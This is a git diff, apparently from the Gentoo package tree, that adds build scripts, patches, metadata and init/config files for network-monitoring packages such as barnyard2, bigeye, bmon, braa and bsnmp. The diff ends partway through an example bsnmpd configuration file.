+++ b/net-analyzer/barnyard2/Manifest
@@ -0,0 +1 @@
+DIST barnyard2-1.9.tar.gz 652879 SHA256 6bce0d5bd4a6fa2be2e5b1daaed1d6d0ec8e7f50b33bc1125125c8a9e78a5b0c
diff --git a/net-analyzer/barnyard2/barnyard2-1.9.ebuild b/net-analyzer/barnyard2/barnyard2-1.9.ebuild
new file mode 100644
index 000000000000..7b15053016d8
--- /dev/null
+++ b/net-analyzer/barnyard2/barnyard2-1.9.ebuild
@@ -0,0 +1,67 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="2"
+
+DESCRIPTION="Parser for Snort unified/unified2 files"
+HOMEPAGE="http://www.securixlive.com/barnyard2/"
+SRC_URI="http://www.securixlive.com/download/barnyard2/${P}.tar.gz"
+SLOT="0"
+LICENSE="GPL-2"
+KEYWORDS="~amd64 ~x86"
+IUSE="static debug gre mpls mysql odbc postgres"
+
+DEPEND="net-libs/libpcap
+ mysql? ( virtual/mysql )
+ postgres? ( dev-db/postgresql[server] )
+ odbc? ( dev-db/unixODBC )"
+RDEPEND="${DEPEND}"
+
+src_prepare() {
+ sed -i -e "s:^#config interface:config interface:" \
+ "${WORKDIR}/${P}/etc/barnyard2.conf" || die
+ sed -i -e "s:^output alert_fast:#output alert_fast:" \
+ "${WORKDIR}/${P}/etc/barnyard2.conf" || die
+}
+
+src_configure() {
+ econf \
+ $(use_enable !static shared) \
+ $(use_enable static) \
+ $(use_enable debug) \
+ $(use_enable gre) \
+ $(use_enable mpls) \
+ $(use_with mysql) \
+ $(use_with odbc) \
+ $(use_with postgres postgresql) \
+ --disable-ipv6 \
+ --disable-prelude \
+ --disable-mysql-ssl-support \
+ --disable-aruba \
+ --without-tcl \
+ --without-oracle || die
+
+ emake || die
+}
+
+src_install () {
+ make DESTDIR="${D}" install || die
+ newconfd "${FILESDIR}/barnyard2.confd" barnyard2 || die
+ newinitd "${FILESDIR}/barnyard2.initd" barnyard2 || die
+ dodir /etc/barnyard2 \
+ /var/log/snort \
+ /var/log/snort/archive \
+ /var/log/barnyard2 || die
+ dodoc RELEASE.NOTES \
+ etc/barnyard2.conf \
+ doc/README* \
+ schemas/create_* || die
+ rm "${D}"/etc/barnyard2.conf || die
+}
+
+pkg_postinst() {
+ elog "Configuration options can be set in /etc/conf.d/barnyard2."
+ elog
+ elog "An example configuration file can be found in /usr/share/doc/${PF}."
+}
diff --git a/net-analyzer/barnyard2/files/barnyard2.confd b/net-analyzer/barnyard2/files/barnyard2.confd
new file mode 100644
index 000000000000..d114f826c707
--- /dev/null
+++ b/net-analyzer/barnyard2/files/barnyard2.confd
@@ -0,0 +1,36 @@
+# Config file for /etc/init.d/barnyard2
+
+# This file only contains variables needed by the init.d script.
+# All other configuration options are located in the barnyard2.conf file
+
+# This should be the first part of the unified/unified2 log file name (without the time stamp)
+# Ex. If you log files look like this 'snort.unified2.1239801645' then you would use 'snort.unified2'
+SPOOL_FILE="snort.unified2"
+
+# Location of your unified/unified2 log files
+SPOOL_DIR="/var/log/snort"
+
+# Directory to log to
+LOG_DIR="/var/log/barnyard2"
+
+# This MUST match what you set for "config interface:" in your barnyard2.conf
+# If you do not set this correctly then Barnyard2 will not stop when you do a
+# "/etc/init.d/barnyard2 stop"
+INTERFACE="eth0"
+
+# You probably don't want to change this, but in case you do
+PID_FILE="barnyard2_${INTERFACE}.pid"
+PID_PATH="/var/run"
+
+# The waldo file is located in the SPOOL_DIR to support multipule instances of barnyard2
+WALDO_FILE="${SPOOL_DIR}/barnyard2.waldo"
+CONF="/etc/barnyard2/barnyard2.conf"
+
+# Location of the archive directory if you choose to use it.
+# The ARCHIVE_DIR is located in the SPOOL_DIR to support multipule instances of barnyard2
+#ARCHIVE_DIR="${SPOOL_DIR}/archive"
+
+# This pulls in the options above
+BARNYARD_OPTS="-D -c ${CONF} -d ${SPOOL_DIR} -w ${WALDO_FILE} -f ${SPOOL_FILE} -l ${LOG_DIR}"
+# Or with an archive directory
+#BARNYARD_OPTS="-D -c ${CONF} -d ${SPOOL_DIR} -w ${WALDO_FILE} -f ${LOG_FILE} -l ${LOG_DIR} -a ${ARCHIVE_DIR}"
diff --git a/net-analyzer/barnyard2/files/barnyard2.initd b/net-analyzer/barnyard2/files/barnyard2.initd
new file mode 100644
index 000000000000..6409a009540e
--- /dev/null
+++ b/net-analyzer/barnyard2/files/barnyard2.initd
@@ -0,0 +1,30 @@
+#!/sbin/runscript
+# Copyright 1999-2004 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+depend() {
+ need net
+}
+
+checkconfig() {
+ if [ ! -e ${CONF} ] ; then
+ eerror "You need a configuration file to run barnyard2"
+ eerror "There is an example config in /etc/snort/barnyard2.conf.distrib"
+ return 1
+ fi
+}
+
+start() {
+ checkconfig || return 1
+ ebegin "Starting barnyard2"
+ start-stop-daemon --start --quiet --exec /usr/bin/barnyard2 \
+ -- --pid-path ${PID_PATH} --nolock-pidfile ${BARNYARD_OPTS} >/dev/null 2>&1
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping barnyard2"
+ start-stop-daemon --stop --quiet --pidfile ${PID_PATH}/${PID_FILE}
+ eend $?
+}
diff --git a/net-analyzer/barnyard2/metadata.xml b/net-analyzer/barnyard2/metadata.xml
new file mode 100644
index 000000000000..fa875be301be
--- /dev/null
+++ b/net-analyzer/barnyard2/metadata.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <herd>proxy-maintainers</herd>
+ <maintainer>
+ <email>patrick@gentoo.org</email>
+ <name>Patrick Lauer</name>
+ <description>Maintainer</description>
+ </maintainer>
+ <maintainer>
+ <email>jason.r.wallace@gmail.com</email>
+ <name>Jason Wallace</name>
+ <description>Proxy maintainer. CC him on bugs</description>
+ </maintainer>
+ <longdescription>
+ Barnyard2 is a fork of the original barnyard project (which is no longer under development).
+ Barnyard2 is an open source interpreter for Snort unified2 binary output files. Its primary
+ use is allowing Snort to write to disk in an efficient manner and leaving the task of
+ parsing binary data into various formats to a separate process that will not cause Snort to
+ miss network traffic. Barnyard2 is under active development and continues to adapt based on
+ user feedback.
+ </longdescription>
+ <upstream>
+ <maintainer>
+ <email>dev@securixlive.com</email>
+ <name>Securixlive</name>
+ </maintainer>
+ <doc>http://www.securixlive.com/barnyard2/docs/index.php</doc>
+ <bugs-to>mailto:dev@securixlive.com</bugs-to>
+ </upstream>
+ <use>
+ <flag name='gre'>Enable GRE support</flag>
+ <flag name='mpls'>Enable support for mpls networks</flag>
+ </use>
+</pkgmetadata>
diff --git a/net-analyzer/bigeye/Manifest b/net-analyzer/bigeye/Manifest
new file mode 100644
index 000000000000..00da8328b267
--- /dev/null
+++ b/net-analyzer/bigeye/Manifest
@@ -0,0 +1,2 @@
+DIST bigeye-0.3-gcc34.diff.bz2 2774 SHA256 06e50f31e6e162502dc9e24db416301ad7bbd5439b7611faa405020085668738 SHA512 8ed54aa7b95aac8703e2bf99fde985cbbe7e62f7a6b549e58b2b54856336c5560c450a8c6ad9cbcdcd6bf61c842797c1abca001cfca20ff82614d8c328cab4ba WHIRLPOOL 72ea0009f5c55369fa5faf0e0b89d13a62ec77e7c1a3691a848ebffb9b906134b48faa7daab4682eaa304dfc34f622f6157ec40473af166ad3feaf480f73add2
+DIST bigeye-0.3.tgz 32462 SHA256 e03aacd1797dece3b8a1521f7df44dd63f8417e988ce0be218079ae49cd7490d SHA512 73a146fd2f5df86a3d16dec05cf3f278393347f341a5cc319feccf6d23e1f2fe9d29070ac154a5b2336ade146843ab163e3545e9aefad1a0fa8903928d9b1ed0 WHIRLPOOL 491699b8470472ecd9907b4d5a2e207c34ab3ed9777cdaaf3cd323daaaadb80ee8e39dbc6e718cc808393ba65daeddc0b248b5c7b46fea78765fb3d656969a7f
diff --git a/net-analyzer/bigeye/bigeye-0.3-r3.ebuild b/net-analyzer/bigeye/bigeye-0.3-r3.ebuild
new file mode 100644
index 000000000000..afaaf2925af2
--- /dev/null
+++ b/net-analyzer/bigeye/bigeye-0.3-r3.ebuild
@@ -0,0 +1,40 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit eutils toolchain-funcs
+
+DESCRIPTION="network utility dump and simple honeypot utility"
+HOMEPAGE="http://violating.us/projects/bigeye/"
+SRC_URI="http://violating.us/projects/bigeye/download/${P}.tgz
+ mirror://gentoo/${P}-gcc34.diff.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ~ppc x86"
+
+src_prepare() {
+ epatch \
+ "${WORKDIR}"/${P}-gcc34.diff \
+ "${FILESDIR}"/${P}-overflow.patch
+ sed -i README \
+ -e "s|-- /messages/|-- /usr/share/bigeye/messages/|g" \
+ || die "sed README"
+}
+
+src_compile() {
+ cd src || die
+ $(tc-getCC) ${CFLAGS} ${LDFLAGS} bigeye.c emulate.c -o bigeye || die
+}
+
+src_install() {
+ dobin src/bigeye
+
+ insinto /usr/share/bigeye
+ doins sig.file
+ doins -r messages
+
+ dodoc README
+}
diff --git a/net-analyzer/bigeye/files/bigeye-0.3-overflow.patch b/net-analyzer/bigeye/files/bigeye-0.3-overflow.patch
new file mode 100644
index 000000000000..1ca159a65b79
--- /dev/null
+++ b/net-analyzer/bigeye/files/bigeye-0.3-overflow.patch
@@ -0,0 +1,11 @@
+--- a/src/bigeye.c
++++ b/src/bigeye.c
+@@ -787,7 +787,7 @@
+ local.sin_family = AF_INET;
+ local.sin_port = htons(porta);
+ local.sin_addr.s_addr = INADDR_ANY;
+- bzero(&(local.sin_zero),sizeof(local));
++ memset(&(local.sin_zero), "\0", sizeof(local.sin_zero));
+
+ if(setsockopt(sock_a, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) < 0) {
+ perror("setsockopt");
diff --git a/net-analyzer/bigeye/metadata.xml b/net-analyzer/bigeye/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/bigeye/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/bing/Manifest b/net-analyzer/bing/Manifest
new file mode 100644
index 000000000000..94240426c4e1
--- /dev/null
+++ b/net-analyzer/bing/Manifest
@@ -0,0 +1 @@
+DIST bing_1.1.3.orig.tar.gz 38847 SHA256 318865a38aac472e03ba44dd34ba2bf0c535f46187a22a3075be466b293e55c3
diff --git a/net-analyzer/bing/bing-1.1.3-r1.ebuild b/net-analyzer/bing/bing-1.1.3-r1.ebuild
new file mode 100644
index 000000000000..10346ba52505
--- /dev/null
+++ b/net-analyzer/bing/bing-1.1.3-r1.ebuild
@@ -0,0 +1,33 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=2
+
+inherit toolchain-funcs
+
+DESCRIPTION="A point-to-point bandwidth measurement tool"
+SRC_URI="mirror://debian/pool/main/b/bing/${PN}_${PV}.orig.tar.gz"
+HOMEPAGE="http://fgouget.free.fr/bing/index-en.shtml"
+
+LICENSE="BSD-4"
+SLOT="0"
+KEYWORDS="amd64 ~arm ia64 ppc sparc x86"
+IUSE=""
+
+RDEPEND=""
+DEPEND=">=sys-apps/sed-4"
+
+src_prepare() {
+ sed -i -e "s:#COPTIM = -g: COPTIM = ${CFLAGS}:" Makefile || die
+}
+
+src_compile() {
+ emake CC="$(tc-getCC)"|| die "emake failed"
+}
+
+src_install() {
+ dobin bing || die
+ doman unix/bing.8 || die
+ dodoc ChangeLog Readme.{1st,txt} || die
+}
diff --git a/net-analyzer/bing/metadata.xml b/net-analyzer/bing/metadata.xml
new file mode 100644
index 000000000000..243b1ca9f63a
--- /dev/null
+++ b/net-analyzer/bing/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>xmw@gentoo.org</email>
+ <name>Michael Weber</name>
+ </maintainer>
+</pkgmetadata>
diff --git a/net-analyzer/bmon/Manifest b/net-analyzer/bmon/Manifest
new file mode 100644
index 000000000000..ea51ee8644a3
--- /dev/null
+++ b/net-analyzer/bmon/Manifest
@@ -0,0 +1,2 @@
+DIST bmon-3.6.tar.gz 57883 SHA256 7d9d9b5af751cb61e267b43309506f03e82636282742fce89209f2378ae6a4b1 SHA512 e0c3d828d5391511ea52b1058a22f5eea250c5221664a7c05d7c36fabc361905dcc6cb97184ba0f366e4fe710e33816f72ad59a5856b90265a6b1a415de319e7 WHIRLPOOL d6eaf1b94f6a3dc7d16afe03146a2f8c67514c5fd9cf2956a89f5da6730d329e474b98d6cf3f6138e19e3e1d063aa4b69f325f478b63f8d4bb6fb6b708d13570
+DIST bmon-3.7.tar.gz 58233 SHA256 1e595c9936d8dbc85d91ecc00c3b6a4e49d4f6cade7a8bced3b291925894bb16 SHA512 ef0a50491a2f905b368eb23db5bcfb1c05b2f7fb81f272248a9c6134e7bef06e3db775f18c8e5500cd209461bcb7265c086abb88b55f36009a2040641f64df56 WHIRLPOOL 6ba57c7c726273d0891041580e826654ef75c53cc92b96b4c40021a42aa5959062140a26808f20bfe166bbbbb57ca5daa8b877528e0aa708144e13a3d69003be
diff --git a/net-analyzer/bmon/bmon-3.6-r1.ebuild b/net-analyzer/bmon/bmon-3.6-r1.ebuild
new file mode 100644
index 000000000000..493a2463bd02
--- /dev/null
+++ b/net-analyzer/bmon/bmon-3.6-r1.ebuild
@@ -0,0 +1,50 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils linux-info toolchain-funcs
+
+DESCRIPTION="interface bandwidth monitor"
+HOMEPAGE="http://www.infradead.org/~tgr/bmon/"
+SRC_URI="
+ https://codeload.github.com/tgraf/${PN}/tar.gz/v${PV} -> ${P}.tar.gz
+"
+
+LICENSE="BSD-2 MIT"
+SLOT="0"
+KEYWORDS="amd64 hppa ~ppc ~sparc x86"
+
+RDEPEND="
+ >=sys-libs/ncurses-5.3-r2
+ dev-libs/confuse
+ dev-libs/libnl:3
+"
+DEPEND="
+ ${RDEPEND}
+ virtual/pkgconfig
+"
+
+DOCS=( ChangeLog )
+
+CONFIG_CHECK="~NET_SCHED"
+ERROR_NET_SCHED="
+ CONFIG_NET_SCHED is not set when it should be.
+ Run ${PN} -i proc to use the deprecated proc interface instead.
+"
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${P}-docdir-examples.patch \
+ "${FILESDIR}"/${P}-net_if.h.patch
+
+ epatch_user
+
+ eautoreconf
+}
+
+src_configure() {
+ econf \
+ CURSES_LIB="$( $(tc-getPKG_CONFIG) --libs ncurses)" \
+ --docdir="/usr/share/doc/${PF}"
+}
diff --git a/net-analyzer/bmon/bmon-3.7.ebuild b/net-analyzer/bmon/bmon-3.7.ebuild
new file mode 100644
index 000000000000..c2de5558484b
--- /dev/null
+++ b/net-analyzer/bmon/bmon-3.7.ebuild
@@ -0,0 +1,49 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils linux-info toolchain-funcs
+
+DESCRIPTION="interface bandwidth monitor"
+HOMEPAGE="http://www.infradead.org/~tgr/bmon/"
+SRC_URI="
+ https://codeload.github.com/tgraf/${PN}/tar.gz/v${PV} -> ${P}.tar.gz
+"
+
+LICENSE="BSD-2 MIT"
+SLOT="0"
+KEYWORDS="~amd64 ~hppa ~ppc ~sparc ~x86"
+
+RDEPEND="
+ >=sys-libs/ncurses-5.3-r2
+ dev-libs/confuse
+ dev-libs/libnl:3
+"
+DEPEND="
+ ${RDEPEND}
+ virtual/pkgconfig
+"
+
+DOCS=( ChangeLog )
+
+CONFIG_CHECK="~NET_SCHED"
+ERROR_NET_SCHED="
+ CONFIG_NET_SCHED is not set when it should be.
+ Run ${PN} -i proc to use the deprecated proc interface instead.
+"
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${PN}-3.6-docdir-examples.patch
+
+ epatch_user
+
+ eautoreconf
+}
+
+src_configure() {
+ econf \
+ CURSES_LIB="$( $(tc-getPKG_CONFIG) --libs ncurses)" \
+ --docdir="/usr/share/doc/${PF}"
+}
diff --git a/net-analyzer/bmon/files/bmon-3.6-docdir-examples.patch b/net-analyzer/bmon/files/bmon-3.6-docdir-examples.patch
new file mode 100644
index 000000000000..bb7d969cedde
--- /dev/null
+++ b/net-analyzer/bmon/files/bmon-3.6-docdir-examples.patch
@@ -0,0 +1,10 @@
+--- a/examples/Makefile.am
++++ b/examples/Makefile.am
+@@ -1,6 +1,6 @@
+ # -*- Makefile -*-
+
+-exampledir = $(datarootdir)/doc/@PACKAGE@/examples
++exampledir = $(docdir)/examples
+ example_DATA = bmon.conf
+
+ EXTRA_DIST = $(example_DATA)
diff --git a/net-analyzer/bmon/files/bmon-3.6-net_if.h.patch b/net-analyzer/bmon/files/bmon-3.6-net_if.h.patch
new file mode 100644
index 000000000000..74a174b2f381
--- /dev/null
+++ b/net-analyzer/bmon/files/bmon-3.6-net_if.h.patch
@@ -0,0 +1,11 @@
+--- a/src/in_netlink.c
++++ b/src/in_netlink.c
+@@ -37,6 +37,8 @@
+ static struct element_group *grp;
+ static struct bmon_module netlink_ops;
+
++#include <net/if.h>
++
+ #include <netlink/netlink.h>
+ #include <netlink/cache.h>
+ #include <netlink/utils.h>
diff --git a/net-analyzer/bmon/metadata.xml b/net-analyzer/bmon/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/bmon/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/braa/Manifest b/net-analyzer/braa/Manifest
new file mode 100644
index 000000000000..f8e0f21fcd77
--- /dev/null
+++ b/net-analyzer/braa/Manifest
@@ -0,0 +1 @@
+DIST braa-0.82.tar.gz 39927 SHA256 d650d34cdf30fcbbbbf4e4f11c8f5d51fd5caa3cca58d620fa1d978b8c18919c SHA512 8c88d288287a12c19c8d49606c8d2b70531b7f2be1aa3c4ccc6b01739aead751c03c56dc3f1a346b3dd20730a8bd0d30e33167a5f7c676f629348195762e23d4 WHIRLPOOL 23bd927ee9be8331069865c75389ee6417adec1ffaa4f2c4604cec0f55f786e341249e1bc96948d1e43fb5b6a925aea2e3940a2d8dce3c4060591105efe1c82a
diff --git a/net-analyzer/braa/braa-0.82.ebuild b/net-analyzer/braa/braa-0.82.ebuild
new file mode 100644
index 000000000000..e5a6940cf809
--- /dev/null
+++ b/net-analyzer/braa/braa-0.82.ebuild
@@ -0,0 +1,25 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit toolchain-funcs eutils
+
+DESCRIPTION="Quick and dirty mass SNMP scanner"
+HOMEPAGE="http://s-tech.elsat.net.pl/braa/"
+SRC_URI="http://s-tech.elsat.net.pl/braa/${P}.tar.gz"
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc x86"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${PN}-0.8-gentoo.diff
+ sed -i braa.c -e 's|0.81|0.82|g' || die
+ tc-export CC
+}
+
+src_install() {
+ dobin braa
+ dodoc README
+}
diff --git a/net-analyzer/braa/files/braa-0.8-gentoo.diff b/net-analyzer/braa/files/braa-0.8-gentoo.diff
new file mode 100644
index 000000000000..3167269f4a68
--- /dev/null
+++ b/net-analyzer/braa/files/braa-0.8-gentoo.diff
@@ -0,0 +1,24 @@
+--- a/Makefile
++++ b/Makefile
+@@ -4,8 +4,6 @@
+ ###################################################################
+
+ # Linux, FreeBSD, OpenBSD
+-CFLAGS =
+-LDFLAGS =
+
+ # Solaris / SPARC
+ # CFLAGS = -DSOLARIS_SPARC
+@@ -24,9 +22,8 @@
+ LIBS =
+
+ all: ${OBJECTS}
+- cc $(OBJECTS) -o $(OUT) $(LDFLAGS) $(LIBS)
+- strip $(OUT)
++ $(CC) $(CFLAGS) $(LDFLAGS) $(OBJECTS) -o $(OUT) $(LIBS)
+
+ clean:
+ rm -rf $(OBJECTS) $(OUT)
+-
+\ No newline at end of file
++
diff --git a/net-analyzer/braa/metadata.xml b/net-analyzer/braa/metadata.xml
new file mode 100644
index 000000000000..78692635ad22
--- /dev/null
+++ b/net-analyzer/braa/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/bsnmp/Manifest b/net-analyzer/bsnmp/Manifest
new file mode 100644
index 000000000000..c306223fcec7
--- /dev/null
+++ b/net-analyzer/bsnmp/Manifest
@@ -0,0 +1,2 @@
+DIST bsnmp-1.11a.tar.gz 408165 SHA256 72d74b12742b153ac9c0bb4deb86bda6fc982eb41c775cc6fd7f343924b887f8
+DIST bsnmp-1.12.tar.gz 418653 SHA256 986d02d71c55693ec0b90b24564cb43195ce03254e85a8cd70457b318eefbee0 SHA512 c2c292e21632ea475d30aafaf7f66566389bccabfd20886a27bc4af98dba24139568c0eaddd36710655abac9ca6a38525136e06f2cf7be8b9db8ca656b2021c9 WHIRLPOOL 13e2bf9ac986b28e1437bc3a22aa8ceb09810f72d061c145a4e97c350d3c9bbf60180e2716c0ca0ed5513efc595a84b771eff04d3b7b3480fdd0982273ce77aa
diff --git a/net-analyzer/bsnmp/bsnmp-1.11a.ebuild b/net-analyzer/bsnmp/bsnmp-1.11a.ebuild
new file mode 100644
index 000000000000..4569dff5cd42
--- /dev/null
+++ b/net-analyzer/bsnmp/bsnmp-1.11a.ebuild
@@ -0,0 +1,44 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+inherit eutils flag-o-matic
+
+DESCRIPTION="Mini-SNMP Daemon and Library"
+HOMEPAGE="http://people.freebsd.org/~harti/"
+SRC_URI="http://people.freebsd.org/~harti/bsnmp/${P}.tar.gz"
+
+LICENSE="BSD"
+SLOT="0"
+KEYWORDS="~x86-fbsd"
+IUSE="tcpd"
+
+DEPEND="dev-libs/libbegemot
+ tcpd? ( sys-apps/tcp-wrappers )"
+
+src_unpack() {
+ unpack ${A}
+ cd "${S}"
+
+ epatch "${FILESDIR}/${PN}-1.10-gcc34.patch"
+}
+
+src_compile() {
+ if use elibc_glibc; then
+ # bsnmp is bsd-based, without this it will fail
+ append-flags "-D_BSD_SOURCE"
+ fi
+
+ filter-flags -fno-inline
+
+ econf \
+ --with-libbegemot=/usr \
+ $(use_with tcpd tcpwrappers) \
+ || die "econf failed"
+
+ emake -j1 || die "emake failed"
+}
+
+src_install() {
+ einstall || die "make install failed"
+}
diff --git a/net-analyzer/bsnmp/bsnmp-1.12-r1.ebuild b/net-analyzer/bsnmp/bsnmp-1.12-r1.ebuild
new file mode 100644
index 000000000000..d515becc1242
--- /dev/null
+++ b/net-analyzer/bsnmp/bsnmp-1.12-r1.ebuild
@@ -0,0 +1,49 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+inherit eutils flag-o-matic
+
+DESCRIPTION="Mini-SNMP Daemon and Library"
+HOMEPAGE="http://people.freebsd.org/~harti/"
+SRC_URI="http://people.freebsd.org/~harti/bsnmp/${P}.tar.gz"
+
+LICENSE="BSD GPL-2" # GPL-2 init script
+SLOT="0"
+KEYWORDS="~amd64-fbsd ~x86-fbsd"
+IUSE="tcpd"
+
+DEPEND="dev-libs/libbegemot
+ tcpd? ( sys-apps/tcp-wrappers )"
+
+src_unpack() {
+ unpack ${A}
+ cd "${S}"
+
+ epatch "${FILESDIR}/${PN}-1.10-gcc34.patch"
+ epatch "${FILESDIR}/werror.patch"
+ epatch "${FILESDIR}/${P}-mibII.patch"
+}
+
+src_compile() {
+ if use elibc_glibc; then
+ # bsnmp is bsd-based, without this it will fail
+ append-flags "-D_BSD_SOURCE"
+ fi
+
+ filter-flags -fno-inline
+
+ econf \
+ --with-libbegemot=/usr \
+ $(use_with tcpd tcpwrappers) \
+ || die "econf failed"
+
+ emake -j1 || die "emake failed"
+}
+
+src_install() {
+ einstall || die "make install failed"
+ newinitd "${FILESDIR}"/bsnmpd.init bsnmpd || die
+ insinto /etc
+ doins "${FILESDIR}"/snmpd.config
+}
diff --git a/net-analyzer/bsnmp/bsnmp-1.12.ebuild b/net-analyzer/bsnmp/bsnmp-1.12.ebuild
new file mode 100644
index 000000000000..41749c41b932
--- /dev/null
+++ b/net-analyzer/bsnmp/bsnmp-1.12.ebuild
@@ -0,0 +1,45 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+inherit eutils flag-o-matic
+
+DESCRIPTION="Mini-SNMP Daemon and Library"
+HOMEPAGE="http://people.freebsd.org/~harti/"
+SRC_URI="http://people.freebsd.org/~harti/bsnmp/${P}.tar.gz"
+
+LICENSE="BSD"
+SLOT="0"
+KEYWORDS="~amd64-fbsd ~x86-fbsd"
+IUSE="tcpd"
+
+DEPEND="dev-libs/libbegemot
+ tcpd? ( sys-apps/tcp-wrappers )"
+
+src_unpack() {
+ unpack ${A}
+ cd "${S}"
+
+ epatch "${FILESDIR}/${PN}-1.10-gcc34.patch"
+ epatch "${FILESDIR}/werror.patch"
+}
+
+src_compile() {
+ if use elibc_glibc; then
+ # bsnmp is bsd-based, without this it will fail
+ append-flags "-D_BSD_SOURCE"
+ fi
+
+ filter-flags -fno-inline
+
+ econf \
+ --with-libbegemot=/usr \
+ $(use_with tcpd tcpwrappers) \
+ || die "econf failed"
+
+ emake -j1 || die "emake failed"
+}
+
+src_install() {
+ einstall || die "make install failed"
+}
diff --git a/net-analyzer/bsnmp/files/bsnmp-1.10-gcc34.patch b/net-analyzer/bsnmp/files/bsnmp-1.10-gcc34.patch
new file mode 100644
index 000000000000..f1220b83d521
--- /dev/null
+++ b/net-analyzer/bsnmp/files/bsnmp-1.10-gcc34.patch
@@ -0,0 +1,12 @@
+diff -ur -x '*~' bsnmp-1.10/snmp_ntp/snmp_ntp.c bsnmp-1.10-fix/snmp_ntp/snmp_ntp.c
+--- bsnmp-1.10/snmp_ntp/snmp_ntp.c 2005-05-23 11:03:48.000000000 +0200
++++ bsnmp-1.10-fix/snmp_ntp/snmp_ntp.c 2005-07-10 01:58:35.557888936 +0200
+@@ -360,6 +360,8 @@
+ free(rpkt);
+ return (-1);
+ }
++
++ return (-1);
+ }
+
+ /*
diff --git a/net-analyzer/bsnmp/files/bsnmp-1.12-mibII.patch b/net-analyzer/bsnmp/files/bsnmp-1.12-mibII.patch
new file mode 100644
index 000000000000..c93191823d6e
--- /dev/null
+++ b/net-analyzer/bsnmp/files/bsnmp-1.12-mibII.patch
@@ -0,0 +1,13 @@
+diff --git a/snmp_mibII/Makefile.in b/snmp_mibII/Makefile.in
+index d14c179..3a99850 100755
+--- a/snmp_mibII/Makefile.in
++++ b/snmp_mibII/Makefile.in
+@@ -10,7 +10,7 @@ MOD= mibII
+ SRCS= ${MOD}_tree.c mibII.c mibII_ifmib.c mibII_ip.c \
+ mibII_interfaces.c mibII_ipaddr.c mibII_ifstack.c \
+ mibII_rcvaddr.c mibII_nettomedia.c mibII_tcp.c mibII_udp.c \
+- mibII_route.c
++ mibII_route.c mibII_begemot.c
+ INCS= snmp_${MOD}.h
+ DEFS= mibII_tree.def
+ MAN3= snmp_mibII.3
diff --git a/net-analyzer/bsnmp/files/bsnmpd.init b/net-analyzer/bsnmp/files/bsnmpd.init
new file mode 100644
index 000000000000..5b3f7749d46d
--- /dev/null
+++ b/net-analyzer/bsnmp/files/bsnmpd.init
@@ -0,0 +1,12 @@
+#!/sbin/runscript
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+description="Mini-SNMP Daemon"
+command="/usr/bin/bsnmpd"
+pidfile="/var/run/snmpd.pid"
+
+depend() {
+ use net
+}
diff --git a/net-analyzer/bsnmp/files/snmpd.config b/net-analyzer/bsnmp/files/snmpd.config
new file mode 100644
index 000000000000..26f9f1aeb163
--- /dev/null
+++ b/net-analyzer/bsnmp/files/snmpd.config
@@ -0,0 +1,98 @@
+# $FreeBSD: src/etc/snmpd.config,v 1.9.10.1.8.1 2012/03/03 06:15:13 kensmith Exp $
+#
+# Example configuration file for bsnmpd(1).
+#
+
+#
+# Set some common variables
+#
+location := "Room 200"
+contact := "sysmeister@example.com"
+system := 1 # FreeBSD
+traphost := localhost
+trapport := 162
+
+# Change this!
+read := "public"
+# Uncomment begemotSnmpdCommunityString.0.2 below that sets the community
+# string to enable write access.
+write := "geheim"
+trap := "mytrap"
+
+#
+# Configuration
+#
+%snmpd
+begemotSnmpdDebugDumpPdus = 2
+begemotSnmpdDebugSyslogPri = 7
+
+#
+# Set the read and write communities.
+#
